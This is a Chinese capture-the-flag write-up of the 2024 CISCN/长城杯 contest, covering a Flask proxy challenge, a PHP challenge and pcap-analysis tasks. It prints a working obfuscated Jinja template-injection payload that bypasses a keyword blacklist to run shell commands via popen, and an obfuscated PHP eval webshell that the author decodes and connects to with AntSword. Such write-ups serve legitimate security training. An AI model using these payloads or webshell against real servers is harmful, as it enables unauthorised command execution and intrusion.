2024.12.15CISCN&长城杯铁人三项赛

WEB

Safe_Proxy

刚开始比赛看到题目名字里面有Proxy 就先来做这个了(在最近的比赛中见到的proxy题比较多)

题目进入之后给了源码

源码

from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)

@app.route('/', methods=["GET"])
def source():
    with open(__file__, 'r', encoding='utf-8') as f:
        return '<pre>'+html.escape(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'

class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break

            if not request_data:
                client_socket.close()
                return

            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)

                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk

            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data
                
            response_body = body
            response = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
                       b"Content-Type: text/html; charset=utf-8\r\n" \
                       b"\r\n" + response_body

            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()

def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000

    # 安全反代，防止针对响应头的攻击
    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
    proxy_thread.daemon = True
    proxy_thread.start()

    print("Starting Flask app...")
    run_flask_app()

当时看源码的时候 看到打开源码的方式是open(__file__, 'r', encoding='utf-8') as f就下意识的搜了一下有没有merge函数(怀疑可能存在原型链污染， 属于条件反射了)

看到这一块感觉应该可以用ssti进行命令执行

就在本地起了一个环境。在我的SSIT模板注入这篇文章中拿了一个其他比赛的payload

code={%set o1=(dict(o=a,s=n))|join%}{%set re=(dict(re=a,ad=n))|join%}{%set pppct=(dict(po=a,pen=n))|join%}{%set%20a=(lipsum|string|list)|attr(%27pop%27)(18)%}{%set%20glob=(a,a,(dict(glo=a,bals=b)|join),a,a)|join%}{%set gt=(a,a,(dict(geti=a,tem=n)|join),a,a)|join%}{{lipsum|attr(glob)|attr(gt)(o1)|attr(pppct)('tac fla*')|attr(re)()}}

突然间想到在题目环境可能可以对app.py进行写入操作。就拿了这个payload直接打了一下

当时就抱着试试看的心疼打了一下(毕竟代码还没看完就出了, 怎么可能)。结果真的能出

然后靠着这样写出了。(o((*^▽^*))o)

helloweb

这个题目比赛的时候是队友Baeke写出来的，我没看。我是赛后复现的

题目环境进入之后再源码中有两个页面

双写.../绕过tips只是一个phpinfo();

hackme.php页面是一串php代码

<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>

将eval改成echo

得到的结果再将eval改为echo,发现是一个一句话木马

蚁剑直接连

威胁检测与网络流量分析

zeroshell_1

我打开数据包，找一个http数据包->追踪流 就是一顿看

找到了一个数据包是执行了一条命令

Referer字段base64解码后就是flag

zeroshell_2

直接拿数据包里面的payload梭哈

在/Database/flag找到flag